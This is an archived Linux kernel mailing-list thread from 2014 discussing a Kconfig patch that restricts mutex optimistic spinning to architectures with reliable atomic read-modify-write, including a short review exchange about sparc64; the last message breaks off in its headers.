	id 607461035E440; Fri,  6 Jun 2014 19:53:16 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CA+55aFxNLRufHyLHetnst7Lq0Ya1xoAagZf=DbEDTf1ZSfKFCQ@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720198 gmane.linux.ports.parisc:5886
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720198>

On Fri, Jun 06, 2014 at 10:22:21AM -0700, Linus Torvalds wrote:
> On Fri, Jun 6, 2014 at 10:11 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> >
> > +config ARCH_NO_ATOMIC_RMW
> > +       def_bool y
> > +       depends on PARISC || SPARC32 || METAG_ATOMICITY_LOCK1 || (TILE && !TILEGX) || (ARC && !ARC_HAS_LLSC)
> 
> Ugh. We've had these kinds of things before, and they are broken and
> nasty to maintain.
> 
> Just make it
> 
>     config ARCH_SUPPORTS_ATOMIC_RMW
>         bool
> 
> which defaults to no. And then make MUTEX_SPIN_ON_OWNER depend on that.

---
Subject: locking, mutex: Make optimistic spinning depend on ARCH_SUPPORTS_ATOMIC_RMW

The optimistic spin code assumes regular stores and cmpxchg() play nice;
this is found to not be true for at least: parisc, sparc32, tile32,
metag-lock1, arc-!llsc and hexagon.

There is further wreckage, but this in particular seemed easy to
trigger, so blacklist this.

Opt in for known good archs.

Reported-by: Mikulas Patocka <mpatocka@redhat.com>
Signed-off-by: Peter Zijlstra <peterz@infradead.org>
---
 arch/arm/Kconfig     | 1 +
 arch/arm64/Kconfig   | 1 +
 arch/powerpc/Kconfig | 1 +
 arch/sparc/Kconfig   | 1 +
 arch/x86/Kconfig     | 1 +
 kernel/Kconfig.locks | 5 ++++-
 6 files changed, 9 insertions(+), 1 deletion(-)

diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a2c1a18a7275..b8a6a5078eae 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -6,6 +6,7 @@ config ARM
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_HAVE_CUSTOM_GPIO_H
 	select ARCH_MIGHT_HAVE_PC_PARPORT
+	select ARCH_SUPPORTS_ATOMIC_RMW
 	select ARCH_USE_BUILTIN_BSWAP
 	select ARCH_USE_CMPXCHG_LOCKREF
 	select ARCH_WANT_IPC_PARSE_VERSION
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 5c30b10c0f6c..339dc07f15e2 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -3,6 +3,7 @@ config ARM64
 	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
 	select ARCH_USE_CMPXCHG_LOCKREF
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
+	select ARCH_SUPPORTS_ATOMIC_RMW
 	select ARCH_WANT_OPTIONAL_GPIOLIB
 	select ARCH_WANT_COMPAT_IPC_PARSE_VERSION
 	select ARCH_WANT_FRAME_POINTERS
diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
index e0998997943b..5bb96f282373 100644
--- a/arch/powerpc/Kconfig
+++ b/arch/powerpc/Kconfig
@@ -145,6 +145,7 @@ config PPC
 	select HAVE_IRQ_EXIT_ON_IRQ_STACK
 	select ARCH_USE_CMPXCHG_LOCKREF if PPC64
 	select HAVE_ARCH_AUDITSYSCALL
+	select ARCH_SUPPORTS_ATOMIC_RMW
 
 config GENERIC_CSUM
 	def_bool CPU_LITTLE_ENDIAN
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 29f2e988c56a..407c87d9879a 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -78,6 +78,7 @@ config SPARC64
 	select HAVE_C_RECORDMCOUNT
 	select NO_BOOTMEM
 	select HAVE_ARCH_AUDITSYSCALL
+	select ARCH_SUPPORTS_ATOMIC_RMW
 
 config ARCH_DEFCONFIG
 	string
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 3d4951d35587..2fe1f7c5994e 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -130,6 +130,7 @@ config X86
 	select HAVE_CC_STACKPROTECTOR
 	select GENERIC_CPU_AUTOPROBE
 	select HAVE_ARCH_AUDITSYSCALL
+	select ARCH_SUPPORTS_ATOMIC_RMW
 
 config INSTRUCTION_DECODER
 	def_bool y
diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
index d2b32ac27a39..ecee67a00f5f 100644
--- a/kernel/Kconfig.locks
+++ b/kernel/Kconfig.locks
@@ -220,6 +220,9 @@ config INLINE_WRITE_UNLOCK_IRQRESTORE
 
 endif
 
+config ARCH_SUPPORTS_ATOMIC_RMW
+	bool
+
 config MUTEX_SPIN_ON_OWNER
 	def_bool y
-	depends on SMP && !DEBUG_MUTEXES
+	depends on SMP && !DEBUG_MUTEXES && ARCH_SUPPORTS_ATOMIC_RMW

From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for
 PA-RISC
Date: Fri, 06 Jun 2014 10:57:07 -0700
Lines: 99
Approved: news@gmane.org
Message-ID: <1402077427.2207.91.camel@dabdike.int.hansenpartnership.com>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-3-git-send-email-davidlohr@hp.com>
	 <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
	 <20140606171145.GU13930@laptop.programming.kicks-ass.net>
	 <CA+55aFxNLRufHyLHetnst7Lq0Ya1xoAagZf=DbEDTf1ZSfKFCQ@mail.gmail.com>
	 <20140606175316.GV13930@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402077454 20451 80.91.229.3 (6 Jun 2014 17:57:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 17:57:34 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Ingo Molnar <mingo@kernel.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Jason Low <jason.low2@hp.com>,
	Waiman Long <waiman.long@hp.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	John David Anglin <dave.anglin@bell.net>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	James Hogan <james.hogan@imgtec.com>,
	Chris Metcalf <cmetcalf@tilera.com>,
	Vineet Gupta <vgupta@synopsys.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 19:57:25 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WsyOJ-00071L-HY
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 19:57:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752457AbaFFR5N (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 13:57:13 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45504 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752160AbaFFR5K (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 13:57:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5AFED8EE182;
	Fri,  6 Jun 2014 10:57:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id WhAt4-6dzu3R; Fri,  6 Jun 2014 10:57:09 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7E1FB8EE0C2;
	Fri,  6 Jun 2014 10:57:08 -0700 (PDT)
In-Reply-To: <20140606175316.GV13930@laptop.programming.kicks-ass.net>
X-Mailer: Evolution 3.12.2 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720201 gmane.linux.ports.parisc:5887
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720201>

On Fri, 2014-06-06 at 19:53 +0200, Peter Zijlstra wrote:
> On Fri, Jun 06, 2014 at 10:22:21AM -0700, Linus Torvalds wrote:
> > On Fri, Jun 6, 2014 at 10:11 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> > >
> > > +config ARCH_NO_ATOMIC_RMW
> > > +       def_bool y
> > > +       depends on PARISC || SPARC32 || METAG_ATOMICITY_LOCK1 || (TILE && !TILEGX) || (ARC && !ARC_HAS_LLSC)
> > 
> > Ugh. We've had these kinds of things before, and they are broken and
> > nasty to maintain.
> > 
> > Just make it
> > 
> >     config ARCH_SUPPORTS_ATOMIC_RMW
> >         bool
> > 
> > which defaults to no. And then make MUTEX_SPIN_ON_OWNER depend on that.
> 
> ---
> Subject: locking, mutex: Make optimistic spinning depend on ARCH_SUPPORTS_ATOMIC_RMW
> 
> The optimistic spin code assumes regular stores and cmpxchg() play nice;
> this is found to not be true for at least: parisc, sparc32, tile32,
> metag-lock1, arc-!llsc and hexagon.
> 
> There is further wreckage, but this in particular seemed easy to
> trigger, so blacklist this.
> 
> Opt in for known good archs.
> 
> Reported-by: Mikulas Patocka <mpatocka@redhat.com>
> Signed-off-by: Peter Zijlstra <peterz@infradead.org>
> ---
>  arch/arm/Kconfig     | 1 +
>  arch/arm64/Kconfig   | 1 +
>  arch/powerpc/Kconfig | 1 +
>  arch/sparc/Kconfig   | 1 +
>  arch/x86/Kconfig     | 1 +
>  kernel/Kconfig.locks | 5 ++++-
>  6 files changed, 9 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index a2c1a18a7275..b8a6a5078eae 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -6,6 +6,7 @@ config ARM
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
>  	select ARCH_HAVE_CUSTOM_GPIO_H
>  	select ARCH_MIGHT_HAVE_PC_PARPORT
> +	select ARCH_SUPPORTS_ATOMIC_RMW
>  	select ARCH_USE_BUILTIN_BSWAP
>  	select ARCH_USE_CMPXCHG_LOCKREF
>  	select ARCH_WANT_IPC_PARSE_VERSION
> diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
> index 5c30b10c0f6c..339dc07f15e2 100644
> --- a/arch/arm64/Kconfig
> +++ b/arch/arm64/Kconfig
> @@ -3,6 +3,7 @@ config ARM64
>  	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
>  	select ARCH_USE_CMPXCHG_LOCKREF
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
> +	select ARCH_SUPPORTS_ATOMIC_RMW
>  	select ARCH_WANT_OPTIONAL_GPIOLIB
>  	select ARCH_WANT_COMPAT_IPC_PARSE_VERSION
>  	select ARCH_WANT_FRAME_POINTERS
> diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
> index e0998997943b..5bb96f282373 100644
> --- a/arch/powerpc/Kconfig
> +++ b/arch/powerpc/Kconfig
> @@ -145,6 +145,7 @@ config PPC
>  	select HAVE_IRQ_EXIT_ON_IRQ_STACK
>  	select ARCH_USE_CMPXCHG_LOCKREF if PPC64
>  	select HAVE_ARCH_AUDITSYSCALL
> +	select ARCH_SUPPORTS_ATOMIC_RMW
>  
>  config GENERIC_CSUM
>  	def_bool CPU_LITTLE_ENDIAN
> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index 29f2e988c56a..407c87d9879a 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -78,6 +78,7 @@ config SPARC64
>  	select HAVE_C_RECORDMCOUNT
>  	select NO_BOOTMEM
>  	select HAVE_ARCH_AUDITSYSCALL
> +	select ARCH_SUPPORTS_ATOMIC_RMW

Sparc64 does, Sparc32 doesn't, so shouldn't that be

select ARCH_SUPPORTS_ATOMIC_RMW if 64BIT

?

Other than this, looks good to me (you can add reviewed by or acked by
from me to your taste).

James



From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for
 PA-RISC
Date: Fri, 06 Jun 2014 10:58:33 -0700
Lines: 102
Approved: news@gmane.org
Message-ID: <1402077513.2207.92.camel@dabdike.int.hansenpartnership.com>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-3-git-send-email-davidlohr@hp.com>
	 <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
	 <20140606171145.GU13930@laptop.programming.kicks-ass.net>
	 <CA+55aFxNLRufHyLHetnst7Lq0Ya1xoAagZf=DbEDTf1ZSfKFCQ@mail.gmail.com>
	 <20140606175316.GV13930@laptop.programming.kicks-ass.net>
	 <1402077427.2207.91.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402077537 21723 80.91.229.3 (6 Jun 2014 17:58:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 17:58:57 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Ingo Molnar <mingo@kernel.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Jason Low <jason.low2@hp.com>,
	Waiman Long <waiman.long@hp.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	John David Anglin <dave.anglin@bell.net>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	James Hogan <james.hogan@imgtec.com>,
	Chris Metcalf <cmetcalf@tilera.com>,
	Vineet Gupta <vgupta@synopsys.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 19:58:47 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WsyPa-00071L-Oy
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 19:58:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752598AbaFFR6i (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 13:58:38 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45536 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752556AbaFFR6f (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 13:58:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6E2288EE182;
	Fri,  6 Jun 2014 10:58:35 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id hC8dOZX1sQ5V; Fri,  6 Jun 2014 10:58:35 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9A34C8EE0C2;
	Fri,  6 Jun 2014 10:58:34 -0700 (PDT)
In-Reply-To: <1402077427.2207.91.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.12.2 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720202 gmane.linux.ports.parisc:5888
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720202>

On Fri, 2014-06-06 at 10:57 -0700, James Bottomley wrote:
> On Fri, 2014-06-06 at 19:53 +0200, Peter Zijlstra wrote:
> > On Fri, Jun 06, 2014 at 10:22:21AM -0700, Linus Torvalds wrote:
> > > On Fri, Jun 6, 2014 at 10:11 AM, Peter Zijlstra <peterz@infradead.org> wrote:
> > > >
> > > > +config ARCH_NO_ATOMIC_RMW
> > > > +       def_bool y
> > > > +       depends on PARISC || SPARC32 || METAG_ATOMICITY_LOCK1 || (TILE && !TILEGX) || (ARC && !ARC_HAS_LLSC)
> > > 
> > > Ugh. We've had these kinds of things before, and they are broken and
> > > nasty to maintain.
> > > 
> > > Just make it
> > > 
> > >     config ARCH_SUPPORTS_ATOMIC_RMW
> > >         bool
> > > 
> > > which defaults to no. And then make MUTEX_SPIN_ON_OWNER depend on that.
> > 
> > ---
> > Subject: locking, mutex: Make optimistic spinning depend on ARCH_SUPPORTS_ATOMIC_RMW
> > 
> > The optimistic spin code assumes regular stores and cmpxchg() play nice;
> > this is found to not be true for at least: parisc, sparc32, tile32,
> > metag-lock1, arc-!llsc and hexagon.
> > 
> > There is further wreckage, but this in particular seemed easy to
> > trigger, so blacklist this.
> > 
> > Opt in for known good archs.
> > 
> > Reported-by: Mikulas Patocka <mpatocka@redhat.com>
> > Signed-off-by: Peter Zijlstra <peterz@infradead.org>
> > ---
> >  arch/arm/Kconfig     | 1 +
> >  arch/arm64/Kconfig   | 1 +
> >  arch/powerpc/Kconfig | 1 +
> >  arch/sparc/Kconfig   | 1 +
> >  arch/x86/Kconfig     | 1 +
> >  kernel/Kconfig.locks | 5 ++++-
> >  6 files changed, 9 insertions(+), 1 deletion(-)
> > 
> > diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> > index a2c1a18a7275..b8a6a5078eae 100644
> > --- a/arch/arm/Kconfig
> > +++ b/arch/arm/Kconfig
> > @@ -6,6 +6,7 @@ config ARM
> >  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
> >  	select ARCH_HAVE_CUSTOM_GPIO_H
> >  	select ARCH_MIGHT_HAVE_PC_PARPORT
> > +	select ARCH_SUPPORTS_ATOMIC_RMW
> >  	select ARCH_USE_BUILTIN_BSWAP
> >  	select ARCH_USE_CMPXCHG_LOCKREF
> >  	select ARCH_WANT_IPC_PARSE_VERSION
> > diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
> > index 5c30b10c0f6c..339dc07f15e2 100644
> > --- a/arch/arm64/Kconfig
> > +++ b/arch/arm64/Kconfig
> > @@ -3,6 +3,7 @@ config ARM64
> >  	select ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE
> >  	select ARCH_USE_CMPXCHG_LOCKREF
> >  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
> > +	select ARCH_SUPPORTS_ATOMIC_RMW
> >  	select ARCH_WANT_OPTIONAL_GPIOLIB
> >  	select ARCH_WANT_COMPAT_IPC_PARSE_VERSION
> >  	select ARCH_WANT_FRAME_POINTERS
> > diff --git a/arch/powerpc/Kconfig b/arch/powerpc/Kconfig
> > index e0998997943b..5bb96f282373 100644
> > --- a/arch/powerpc/Kconfig
> > +++ b/arch/powerpc/Kconfig
> > @@ -145,6 +145,7 @@ config PPC
> >  	select HAVE_IRQ_EXIT_ON_IRQ_STACK
> >  	select ARCH_USE_CMPXCHG_LOCKREF if PPC64
> >  	select HAVE_ARCH_AUDITSYSCALL
> > +	select ARCH_SUPPORTS_ATOMIC_RMW
> >  
> >  config GENERIC_CSUM
> >  	def_bool CPU_LITTLE_ENDIAN
> > diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> > index 29f2e988c56a..407c87d9879a 100644
> > --- a/arch/sparc/Kconfig
> > +++ b/arch/sparc/Kconfig
> > @@ -78,6 +78,7 @@ config SPARC64
> >  	select HAVE_C_RECORDMCOUNT
> >  	select NO_BOOTMEM
> >  	select HAVE_ARCH_AUDITSYSCALL
> > +	select ARCH_SUPPORTS_ATOMIC_RMW
> 
> Sparc64 does, Sparc32 doesn't, so shouldn't that be
> 
> select ARCH_SUPPORTS_ATOMIC_RMW if 64BIT
> 
> ?
> 
> Other than this, looks good to me (you can add reviewed by or acked by
> from me to your taste).

Oh, wait, I see how sparc does it, never mind ...

James



From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 2/2] locking/rwsem: Disable optimistic spinning for
 PA-RISC
Date: Fri, 6 Jun 2014 20:01:02 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20140606180102.GY13930@laptop.programming.kicks-ass.net>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
 <1402070140-15090-3-git-send-email-davidlohr@hp.com>
 <1402070987.2207.75.camel@dabdike.int.hansenpartnership.com>
 <20140606171145.GU13930@laptop.programming.kicks-ass.net>
 <CA+55aFxNLRufHyLHetnst7Lq0Ya1xoAagZf=DbEDTf1ZSfKFCQ@mail.gmail.com>
 <20140606175316.GV13930@laptop.programming.kicks-ass.net>
 <1402077427.2207.91.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1402077695 23616 80.91.229.3 (6 Jun 2014 18:01:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 18:01:35 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Ingo Molnar <mingo@kernel.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Jason Low <jason.low2@hp.com>,
	Waiman Long <waiman.long@hp.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	John David Anglin <dave.anglin@bell.net>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	James Hogan <james.hogan@imgtec.com>,
	Chris Metcalf <cmetcalf@tilera.com>,
	Vineet Gupta <vgupta@synopsys.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 20:01:26 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WsySD-0007oU-4D
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 20:01:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751108AbaFFSBY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 14:01:24 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:40880 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750773AbaFFSBX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 14:01:23 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=laptop)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1WsyRr-0002lK-TE; Fri, 06 Jun 2014 18:01:04 +0000
Original-Received: by laptop (Postfix, from userid 1000)
	id 213DA10038D56; Fri,  6 Jun 2014 20:01:02 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1402077427.2207.91.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5889 gmane.linux.kernel:1720203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5889>

On Fri, Jun 06, 2014 at 10:57:07AM -0700, James Bottomley wrote:
> > diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> > index 29f2e988c56a..407c87d9879a 100644
> > --- a/arch/sparc/Kconfig
> > +++ b/arch/sparc/Kconfig
> > @@ -78,6 +78,7 @@ config SPARC64
                      ^^^^^^^^^^^^^^


> >  	select HAVE_C_RECORDMCOUNT
> >  	select NO_BOOTMEM
> >  	select HAVE_ARCH_AUDITSYSCALL
> > +	select ARCH_SUPPORTS_ATOMIC_RMW
> 
> Sparc64 does, Sparc32 doesn't, so shouldn't that be
> 
> select ARCH_SUPPORTS_ATOMIC_RMW if 64BIT
> 
> ?

arch/sparc/Kconfig has 3 large sections:

config SPARC (included in both)
config SPARC32 (specific to 32bit)
config SPARC64 (specific to 64bit)

I added it to the last.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER
Date: Fri, 06 Jun 2014 11:12:38 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1402078358.14433.3.camel@buesod1.americas.hpqcorp.net>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-2-git-send-email-davidlohr@hp.com>
	 <1402074788.6680.50.camel@j-VirtualBox>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402078389 31707 80.91.229.3 (6 Jun 2014 18:13:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 18:13:09 +0000 (UTC)
Cc: peterz@infradead.org, mingo@kernel.org, mpatocka@redhat.com,
	torvalds@linux-foundation.org, waiman.long@hp.com,
	jejb@parisc-linux.org, paulmck@linux.vnet.ibm.com,
	dave.anglin@bell.net, aswin@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Jason Low <jason.low2@hp.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 20:13:00 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WsydQ-0006ro-3U
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 20:13:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752144AbaFFSMo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 14:12:44 -0400
Original-Received: from g4t3426.houston.hp.com ([15.201.208.54]:1209 "EHLO
	g4t3426.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752006AbaFFSMn (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
